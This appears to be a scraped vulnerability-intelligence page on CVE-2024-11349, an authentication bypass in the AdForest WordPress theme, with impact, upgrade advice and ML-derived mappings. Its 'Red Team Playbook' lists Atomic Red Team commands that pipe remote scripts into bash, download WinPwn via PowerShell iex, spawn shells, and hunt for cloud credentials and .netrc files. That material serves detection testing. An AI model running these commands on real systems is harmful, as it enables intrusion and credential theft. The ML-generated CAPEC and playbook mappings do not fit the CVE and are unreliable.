CVE-2024-11349
Overview
This vulnerability is an authentication bypass caused by improper verification of user identity within the sb_login_user_with_otp_fun() function of the AdForest WordPress theme. The root cause lies in the failure of the theme's authentication mechanism to validate credentials before granting access. The affected component is the user login process implemented by the theme, which handles authentication through an OTP-based function.
Vulnerability Description
The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.1.6. This is due to the plugin not properly verifying a user's identity prior to authenticating them through the sb_login_user_with_otp_fun() function. This makes it possible for unauthenticated attackers to log in as arbitrary users, including administrators.
Impact
An attacker with network access can exploit this vulnerability to log in as any user, including administrative accounts, without providing valid credentials. This requires no authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to full system compromise, unauthorized data access, and administrative control over the WordPress site, facilitating further malicious activities such as data exfiltration or site defacement.
Solution
Users of the AdForest WordPress theme should upgrade to a version later than 5.1.6 where this authentication bypass is resolved. Detailed patch instructions and version information are available through the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/f374b3d1-820b-473f-8d2b-c3267e6d23d9. No vendor-specific advisory ID is provided, but the theme update on ThemeForest (https://themeforest.net/item/adforest-classified-wordpress-theme/19481695) includes the necessary fixes to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the AdForest theme for WordPress stems from a critical flaw in the authentication process, specifically within the sb_login_user_with_otp_fun() function. This function fails to adequately verify a user's identity before granting access, allowing unauthenticated attackers to bypass authentication mechanisms. The lack of proper validation means that an attacker can exploit this weakness to log in as any user, including those with administrative privileges, without needing valid credentials. This oversight highlights a significant lapse in security design, particularly in a widely used theme that is expected to adhere to robust security standards.
Attack vectors exploiting this vulnerability are alarmingly straightforward. An attacker can initiate a login attempt using the OTP (One-Time Password) functionality without being required to provide legitimate user credentials. By manipulating the request parameters or leveraging automated tools, an attacker can systematically attempt to authenticate as various users, potentially gaining access to sensitive administrative functions. Given the prevalence of WordPress as a content management system, the potential for widespread exploitation is considerable, as many sites using this theme may not have implemented additional security measures to mitigate such risks.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the AdForest theme for their WordPress sites. Successful exploitation could lead to unauthorized access to sensitive data, including user information, financial records, and site configurations. For businesses, this poses a significant risk, including potential data breaches, loss of customer trust, and financial repercussions stemming from remediation efforts and regulatory fines. In an era where data privacy is paramount, the ramifications of such a breach could extend beyond immediate financial loss, affecting brand reputation and customer loyalty.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the AdForest theme and associated plugins is crucial, as developers often release patches to address known vulnerabilities. Implementing additional authentication mechanisms, such as two-factor authentication, can provide an extra layer of security, making it more difficult for attackers to gain unauthorized access. Furthermore, conducting regular security audits and employing intrusion detection systems can help identify unusual login attempts or unauthorized access patterns, allowing for timely intervention.
In conclusion, the authentication bypass vulnerability in the AdForest theme for WordPress represents a significant threat to users and organizations alike. The ease of exploitation combined with the potential for severe consequences underscores the importance of maintaining robust security practices. By prioritizing timely updates, enhancing authentication processes, and employing proactive monitoring strategies, organizations can better safeguard their digital assets against such vulnerabilities, ultimately fostering a more secure online environment.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11349, rising by over 30% in recent assessments. This upward trend, coupled with a steady week-over-week increase, signals growing confidence among threat actors in the viability of this authentication bypass vulnerability within the AdForest WordPress theme. Although no new exploit code or active exploitation campaigns have been identified by our sensors, the elevated EPSS score suggests that the vulnerability is becoming a more attractive target for attackers seeking unauthorized administrative access. For defenders, this shift underscores an escalating risk environment where the window for exploitation is widening, potentially leading to more frequent and impactful compromise attempts. Consequently, the threat level associated with CVE-2024-11349 should be considered heightened, warranting increased vigilance despite the absence of confirmed active exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Scriptsbundle | Adforest | All |
cpe:2.3:a:scriptsbundle:adforest:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11349 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f374b3d1-820b-473f-8d2b-c3267e6d23d9?source=cve |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/adforest-classified-wordpress-theme/19481695 |